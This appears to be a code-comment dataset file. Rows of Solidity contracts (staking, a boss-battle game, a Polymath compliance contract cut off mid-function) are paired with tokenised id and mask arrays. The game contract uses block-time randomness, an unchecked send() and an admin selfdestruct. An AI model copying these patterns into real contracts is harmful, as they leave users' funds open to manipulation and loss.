IStaking(staking).stake(_amount, address(this));
IStaking(staking).claim(address(this));
// revoke
IERC20(ohm).safeApprove(staking, 0);
emit Stake(_amount);
}
function unstake(uint256 _amount) external onlyOwner {
// approve
IERC20(sohm).safeApprove(staking, _amount);
// unstake
IStaking(staking).unstake(_amount, true);
// revoke
IERC20(sohm).safeApprove(staking, 0);
emit Unstake(_amount);
}
function swap(address[] memory _path, uint256 _amountIn, uint256 _amountOutMin) external onlyOwner {
address _tokenA = _path[0];
address _tokenB = _path[_path.length - 1];
require(tokenList[_tokenA], "token not allow");
require(tokenList[_tokenB], "token not allow");
// approve
IERC20(_tokenA).safeApprove(router, _amountIn);
// swap
uint256[] memory _amounts = IUniswapV2Router(router).swapExactTokensForTokens(_amountIn, _amountOutMin, _path, address(this), block.timestamp.add(600));
// revoke
IERC20(_tokenA).safeApprove(router, 0);
emit Swap(_tokenA, _tokenB, _amountIn, _amounts[_amounts.length - 1]);
}
// ------------------------------
// onlyTimelock
// ------------------------------
function addTokenList(address _token) external onlyTimelock {
require(_token != address(0), "address invalid");
tokenList[_token] = true;
emit AddTokenList(_token);
}
function removeTokenList(address _token) external onlyTimelock {
require(_token != address(0), "address invalid");
tokenList[_token] = false;
emit RemoveTokenList(_token);
}
} | ------------------------------ onlyTimelock ------------------------------ | function addTokenList(address _token) external onlyTimelock {
require(_token != address(0), "address invalid");
tokenList[_token] = true;
emit AddTokenList(_token);
}
| 2,213,160 | [
1,
1271,
17908,
1338,
10178,
292,
975,
12146,
16982,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
527,
1345,
682,
12,
2867,
389,
2316,
13,
3903,
1338,
10178,
292,
975,
288,
203,
3639,
2583,
24899,
2316,
480,
1758,
12,
20,
3631,
315,
2867,
2057,
8863,
203,
203,
3639,
1147,
682,
63,
67,
2316,
65,
273,
638,
31,
203,
203,
3639,
3626,
1436,
1345,
682,
24899,
2316,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0x9C387964D1650af1F6fE28CcE0EA5483208F87C2/sources/BSCstarterPresale.sol | percentage of discount on tokens for qualifying holders
| uint256 public minRewardQualifyPercentage; | 11,036,156 | [
1,
18687,
434,
12137,
603,
2430,
364,
4544,
1164,
310,
366,
4665,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
1131,
17631,
1060,
5628,
1164,
16397,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
/**
* @dev Withdraw accumulated balance, called by payee.
*/
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function calculateCurrentVirus(address /*_addr*/) public pure returns(uint256 /*_currentVirus*/) {}
function subVirus(address /*_addr*/, uint256 /*_value*/) public {}
function claimPrizePool(address /*_addr*/, uint256 /*_value*/) public {}
function fallback() public payable {}
}
interface CryptoMiningWarInterface {
function addCrystal( address /*_addr*/, uint256 /*_value*/ ) external;
function subCrystal( address /*_addr*/, uint256 /*_value*/ ) external;
}
contract CryptoBossWannaCry is PullPayment{
bool init = false;
address public administrator;
uint256 public bossRoundNumber;
uint256 private randNonce;
uint256 public BOSS_HP_DEFAULT = 10000000;
uint256 public HALF_TIME_ATK_BOSS = 0;
// engineer game infomation
uint256 constant public VIRUS_MINING_PERIOD = 86400;
uint256 public BOSS_DEF_DEFFAULT = 0;
CryptoEngineerInterface public EngineerContract;
CryptoMiningWarInterface public MiningwarContract;
// player information
mapping(address => PlayerData) public players;
// boss information
mapping(uint256 => BossData) public bossData;
struct PlayerData {
uint256 currentBossRoundNumber;
uint256 lastBossRoundNumber;
uint256 win;
uint256 share;
uint256 dame;
uint256 nextTimeAtk;
}
struct BossData {
uint256 bossRoundNumber;
uint256 bossHp;
uint256 def;
uint256 prizePool;
address playerLastAtk;
uint256 totalDame;
bool ended;
}
event eventAttackBoss(
uint256 bossRoundNumber,
address playerAtk,
uint256 virusAtk,
uint256 dame,
uint256 timeAtk,
bool isLastHit,
uint256 crystalsReward
);
event eventEndAtkBoss(
uint256 bossRoundNumber,
address playerWin,
uint256 ethBonus
);
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
constructor() public {
administrator = msg.sender;
// set interface main contract
EngineerContract = CryptoEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
MiningwarContract = CryptoMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
/**
* @dev Main Contract call this function to setup mini game.
*/
function setupMiniGame( uint256 /*_miningWarRoundNumber*/, uint256 /*_miningWarDeadline*/ ) public
{
}
//@dev use this function in case of bug
function upgrade(address addr) public
{
require(msg.sender == administrator);
selfdestruct(addr);
}
function startGame() public isAdministrator
{
require(init == false);
init = true;
bossData[bossRoundNumber].ended = true;
startNewBoss();
}
/**
* @dev set defence for boss
* @param _value number defence
*/
function setDefenceBoss(uint256 _value) public isAdministrator
{
BOSS_DEF_DEFFAULT = _value;
}
/**
* @dev set HP for boss
* @param _value number HP default
*/
function setBossHPDefault(uint256 _value) public isAdministrator
{
BOSS_HP_DEFAULT = _value;
}
function setHalfTimeAtkBoss(uint256 _value) public isAdministrator
{
HALF_TIME_ATK_BOSS = _value;
}
function startNewBoss() private
{
require(bossData[bossRoundNumber].ended == true);
bossRoundNumber = bossRoundNumber + 1;
uint256 bossHp = BOSS_HP_DEFAULT * bossRoundNumber;
// claim 5% of current prizePool as rewards.
uint256 engineerPrizePool = getEngineerPrizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
EngineerContract.claimPrizePool(address(this), prizePool);
bossData[bossRoundNumber] = BossData(bossRoundNumber, bossHp, BOSS_DEF_DEFFAULT, prizePool, 0x0, 0, false);
}
function endAtkBoss() private
{
require(bossData[bossRoundNumber].ended == false);
require(bossData[bossRoundNumber].totalDame >= bossData[bossRoundNumber].bossHp);
BossData storage b = bossData[bossRoundNumber];
b.ended = true;
// update eth bonus for player last hit
uint256 ethBonus = SafeMath.div( SafeMath.mul(b.prizePool, 5), 100 );
if (b.playerLastAtk != 0x0) {
PlayerData storage p = players[b.playerLastAtk];
p.win = p.win + ethBonus;
}
emit eventEndAtkBoss(bossRoundNumber, b.playerLastAtk, ethBonus);
startNewBoss();
}
/**
* @dev player atk the boss
* @param _value number virus for this attack boss
*/
function atkBoss(uint256 _value) public disableContract
{
require(bossData[bossRoundNumber].ended == false);
require(bossData[bossRoundNumber].totalDame < bossData[bossRoundNumber].bossHp);
require(players[msg.sender].nextTimeAtk <= now);
uint256 currentVirus = getEngineerCurrentVirus(msg.sender);
if (_value > currentVirus) { revert(); }
EngineerContract.subVirus(msg.sender, _value);
uint256 rate = 50 + randomNumber(msg.sender, 60); // 50 - 110%
uint256 atk = SafeMath.div(SafeMath.mul(_value, rate), 100);
updateShareETH(msg.sender);
// update dame
BossData storage b = bossData[bossRoundNumber];
uint256 currentTotalDame = b.totalDame;
uint256 dame = 0;
if (atk > b.def) {
dame = SafeMath.sub(atk, b.def);
}
b.totalDame = SafeMath.min(SafeMath.add(currentTotalDame, dame), b.bossHp);
b.playerLastAtk = msg.sender;
dame = SafeMath.sub(b.totalDame, currentTotalDame);
// bonus crystals
uint256 crystalsBonus = SafeMath.div(SafeMath.mul(dame, 5), 100);
MiningwarContract.addCrystal(msg.sender, crystalsBonus);
// update player
PlayerData storage p = players[msg.sender];
p.nextTimeAtk = now + HALF_TIME_ATK_BOSS;
if (p.currentBossRoundNumber == bossRoundNumber) {
p.dame = SafeMath.add(p.dame, dame);
} else {
p.currentBossRoundNumber = bossRoundNumber;
p.dame = dame;
}
bool isLastHit;
if (b.totalDame >= b.bossHp) {
isLastHit = true;
endAtkBoss();
}
// emit event attack boss
emit eventAttackBoss(b.bossRoundNumber, msg.sender, _value, dame, now, isLastHit, crystalsBonus);
}
function updateShareETH(address _addr) private
{
PlayerData storage p = players[_addr];
if (
bossData[p.currentBossRoundNumber].ended == true &&
p.lastBossRoundNumber < p.currentBossRoundNumber
) {
p.share = SafeMath.add(p.share, calculateShareETH(msg.sender, p.currentBossRoundNumber));
p.lastBossRoundNumber = p.currentBossRoundNumber;
}
}
/**
* @dev calculate share Eth of player
*/
function calculateShareETH(address _addr, uint256 _bossRoundNumber) public view returns(uint256 _share)
{
PlayerData memory p = players[_addr];
BossData memory b = bossData[_bossRoundNumber];
if (
p.lastBossRoundNumber >= p.currentBossRoundNumber &&
p.currentBossRoundNumber != 0
) {
_share = 0;
} else {
_share = SafeMath.div(SafeMath.mul(SafeMath.mul(b.prizePool, 95), p.dame), SafeMath.mul(b.totalDame, 100)); // prizePool * 95% * playerDame / totalDame
}
if (b.ended == false) {
_share = 0;
}
}
function withdrawReward() public disableContract
{
updateShareETH(msg.sender);
PlayerData storage p = players[msg.sender];
uint256 reward = SafeMath.add(p.share, p.win);
msg.sender.send(reward);
// update player
p.win = 0;
p.share = 0;
}
//--------------------------------------------------------------------------
// INTERNAL FUNCTION
//--------------------------------------------------------------------------
function devFee(uint256 _amount) private pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(_amount, 5), 100);
}
function randomNumber(address _addr, uint256 _maxNumber) private returns(uint256)
{
randNonce = randNonce + 1;
return uint256(keccak256(abi.encodePacked(now, _addr, randNonce))) % _maxNumber;
}
function getEngineerPrizePool() private view returns(uint256 _prizePool)
{
_prizePool = EngineerContract.prizePool();
}
function getEngineerCurrentVirus(address _addr) private view returns(uint256 _currentVirus)
{
_currentVirus = EngineerContract.calculateCurrentVirus(_addr);
_currentVirus = SafeMath.div(_currentVirus, VIRUS_MINING_PERIOD);
}
} | set interface main contract | constructor() public {
administrator = msg.sender;
EngineerContract = CryptoEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
MiningwarContract = CryptoMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
}
| 2,012,662 | [
1,
542,
1560,
2774,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
22330,
273,
1234,
18,
15330,
31,
203,
3639,
10507,
264,
8924,
273,
15629,
4410,
264,
1358,
12,
20,
92,
8148,
8313,
20,
73,
25,
72,
20,
69,
11180,
17156,
28,
70,
1077,
3103,
71,
29003,
72,
5026,
23,
69,
28,
73,
6418,
5908,
361,
378,
74,
1769,
203,
3639,
5444,
310,
905,
8924,
273,
15629,
2930,
310,
30634,
1358,
12,
20,
5841,
5193,
71,
9498,
9897,
10689,
21573,
21,
71,
4630,
20,
70,
7140,
3672,
72,
2313,
5026,
74,
713,
1403,
19192,
6675,
20,
6162,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/*
Polymath compliance protocol is intended to ensure regulatory compliance
in the jurisdictions that security tokens are being offered in. The compliance
protocol allows security tokens remain interoperable so that anyone can
build on top of the Polymath platform and extend it's functionality.
*/
import './SafeMath.sol';
import './interfaces/ICompliance.sol';
import './interfaces/IOfferingFactory.sol';
import './Customers.sol';
import './Template.sol';
import './interfaces/ISecurityToken.sol';
import './interfaces/ISecurityTokenRegistrar.sol';
/**
* @title Compilance
* @dev Regulatory details offered by the security token
*/
contract Compliance is ICompliance {
using SafeMath for uint256;
string public VERSION = "2";
ISecurityTokenRegistrar public STRegistrar;
//Structure used to hold reputation for template and offeringFactories
struct Reputation {
uint256 totalRaised; // Total amount raised by issuers that used the template / offeringFactory
address[] usedBy; // Array of security token addresses that used this particular template / offeringFactory
mapping (address => bool) usedBySecurityToken; // Mapping of STs using this Reputation
}
mapping(address => Reputation) public templates; // Mapping used for storing the template repuation
mapping(address => address[]) public templateProposals; // Template proposals for a specific security token
mapping(address => Reputation) public offeringFactories; // Mapping used for storing the offering factory reputation
mapping(address => address[]) public offeringFactoryProposals; // OfferingFactory proposals for a specific security token
mapping(address => mapping(address => bool)) public proposedTemplatesList; // Use to restrict the proposing the same templates again and again
mapping(address => mapping(address => bool)) public proposedOfferingFactoryList; // Use to restrict the proposing the same offeringFactory again and again
Customers public PolyCustomers; // Instance of the Compliance contract
uint256 public constant MINIMUM_VESTING_PERIOD = 60 * 60 * 24 * 100; // 100 Day minimum vesting period for POLY earned
// Notifications for templates
event LogTemplateCreated(address indexed _creator, address indexed _template, string _offeringType);
event LogNewTemplateProposal(address indexed _securityToken, address indexed _template, address indexed _delegate, uint _templateProposalIndex);
event LogCancelTemplateProposal(address indexed _securityToken, address indexed _template, uint _templateProposalIndex);
// Notifications for offering factories
event LogOfferingFactoryRegistered(address indexed _creator, address indexed _offeringFactory, bytes32 _description);
event LogNewOfferingFactoryProposal(address indexed _securityToken, address indexed _offeringFactory, address indexed _owner, uint _offeringFactoryProposalIndex);
event LogCancelOfferingFactoryProposal(address indexed _securityToken, address indexed _offeringFactory, uint _offeringFactoryProposalIndex);
/* @param _polyCustomersAddress The address of the Polymath Customers contract */
function Compliance(address _polyCustomersAddress) public {
PolyCustomers = Customers(_polyCustomersAddress);
}
/**
* @dev `setRegistrarAddress` This function set the SecurityTokenRegistrar contract address.
* Called just after the deployment of smart contracts.
* @param _STRegistrar It is the `this` reference of STR contract
* @return bool
*/
function setRegistrarAddress(address _STRegistrar) public returns (bool) {
require(_STRegistrar != address(0));
require(STRegistrar == address(0));
STRegistrar = ISecurityTokenRegistrar(_STRegistrar);
return true;
}
/**
* @dev `createTemplate` is a simple function to create a new compliance template
* @param _offeringType The name of the security being issued
* @param _issuerJurisdiction The jurisdiction id of the issuer
* @param _accredited Accreditation status required for investors
* @param _KYC KYC provider used by the template
* @param _details Details of the offering requirements
* @param _expires Timestamp of when the template will expire
* @param _fee Amount of POLY to use the template (held in escrow until issuance)
* @param _quorum Minimum percent of shareholders which need to vote to freeze
* @param _vestingPeriod Length of time to vest funds
*/
function createTemplate(
string _offeringType,
bytes32 _issuerJurisdiction,
bool _accredited,
address _KYC,
bytes32 _details,
uint256 _expires,
uint256 _fee,
uint8 _quorum,
uint256 _vestingPeriod
) public
{
require(_KYC != address(0));
require(_vestingPeriod >= MINIMUM_VESTING_PERIOD);
require(_quorum > 0 && _quorum <= 100);
address _template = new Template(
msg.sender,
_offeringType,
_issuerJurisdiction,
_accredited,
_KYC,
_details,
_expires,
_fee,
_quorum,
_vestingPeriod
);
templates[_template] = Reputation({
totalRaised: 0,
usedBy: new address[](0)
});
//Keep track of templates created through Compliance.sol
templates[_template].usedBySecurityToken[address(this)] = true;
LogTemplateCreated(msg.sender, _template, _offeringType);
}
/**
* @dev Propose a bid for a security token issuance
* @param _securityToken The security token being bid on
* @param _template The unique template address
* @return bool success
*/
function proposeTemplate(
address _securityToken,
address _template
) public returns (bool success)
{
require(templates[_template].usedBySecurityToken[address(this)]);
// Verifying that provided _securityToken is generated by securityTokenRegistrar only
var (,, securityTokenOwner,) = STRegistrar.getSecurityTokenData(_securityToken);
require(securityTokenOwner != address(0));
// Check whether the template is already proposed or not for the given securityToken
require(!proposedTemplatesList[_securityToken][_template]);
// Creating the instance of template to avail the function calling
ITemplate template = ITemplate(_template);
// This will fail if template is expired
var (,finalized) = template.getTemplateDetails();
var (,,, owner,) = template.getUsageDetails();
// Require that the caller is the template owner
// and that the template has been finalized
require(owner == msg.sender);
require(finalized);
//Get a reference of the template contract and add it to the templateProposals array
templateProposals[_securityToken].push(_template);
proposedTemplatesList[_securityToken][_template] = true;
LogNewTemplateProposal(_securityToken, _template, msg.sender, templateProposals[_securityToken].length - 1);
return true;
}
/**
* @dev Cancel a Template proposal if the bid hasn't been accepted
* @param _securityToken The security token being bid on
* @param _templateProposalIndex The template proposal array index
* @return bool success
*/
function cancelTemplateProposal(
address _securityToken,
uint256 _templateProposalIndex
) public returns (bool success)
{
address proposedTemplate = templateProposals[_securityToken][_templateProposalIndex];
ITemplate template = ITemplate(proposedTemplate);
var (,,, owner,) = template.getUsageDetails();
// Cancelation is only being performed by the owner of template.
require(owner == msg.sender);
var (chosenTemplate,,,,,) = ISecurityToken(_securityToken).getTokenDetails();
// Template shouldn't be choosed one.
require(chosenTemplate != proposedTemplate);
templateProposals[_securityToken][_templateProposalIndex] = address(0);
LogCancelTemplateProposal(_securityToken, proposedTemplate, _templateProposalIndex);
return true;
}
/**
* @dev Register the Offering factory by the developer.
* @param _factoryAddress address of the offering factory
* @return bool success
*/
function registerOfferingFactory(
address _factoryAddress
) public returns (bool success)
{
require(_factoryAddress != address(0));
// Restrict to update the reputation of already registered offeringFactory
require(!(offeringFactories[_factoryAddress].totalRaised > 0 || offeringFactories[_factoryAddress].usedBy.length > 0));
IOfferingFactory offeringFactory = IOfferingFactory(_factoryAddress);
var (, quorum, vestingPeriod, owner, description) = offeringFactory.getUsageDetails();
// Validate Offering Factory details
require(quorum > 0 && quorum <= 100);
require(vestingPeriod >= MINIMUM_VESTING_PERIOD);
require(owner != address(0));
// Add the factory in the available list of factory addresses
offeringFactories[_factoryAddress] = Reputation({
totalRaised: 0,
usedBy: new address[](0)
});
// Keep track of offering factories registered through Compliance.sol
offeringFactories[_factoryAddress].usedBySecurityToken[address(this)] = true;
LogOfferingFactoryRegistered(owner, _factoryAddress, description);
return true;
}
/**
* @dev Propose a Security Token Offering Factory for an issuance
* @param _securityToken The security token being bid on
* @param _factoryAddress The address of the offering factory
* @return bool success
*/
function proposeOfferingFactory(
address _securityToken,
address _factoryAddress
) public returns (bool success)
{
require(offeringFactories[_factoryAddress].usedBySecurityToken[address(this)]);
// Verifying that provided _securityToken is generated by securityTokenRegistrar only
var (,, securityTokenOwner,) = STRegistrar.getSecurityTokenData(_securityToken);
require(securityTokenOwner != address(0));
// Check whether the offeringFactory is already proposed or not for the given securityToken
require(!proposedOfferingFactoryList[_securityToken][_factoryAddress]);
IOfferingFactory offeringFactory = IOfferingFactory(_factoryAddress);
var (,,, owner,) = offeringFactory.getUsageDetails();
require(owner == msg.sender);
offeringFactoryProposals[_securityToken].push(_factoryAddress);
proposedOfferingFactoryList[_securityToken][_factoryAddress] = true;
LogNewOfferingFactoryProposal(_securityToken, _factoryAddress, owner, offeringFactoryProposals[_securityToken].length - 1);
return true;
}
/**
* @dev Cancel a Offering factory proposal if the bid hasn't been accepted
* @param _securityToken The security token being bid on
* @param _offeringFactoryProposalIndex The offeringFactory proposal array index
* @return bool success
*/
function cancelOfferingFactoryProposal(
address _securityToken,
uint256 _offeringFactoryProposalIndex
) public returns (bool success)
{
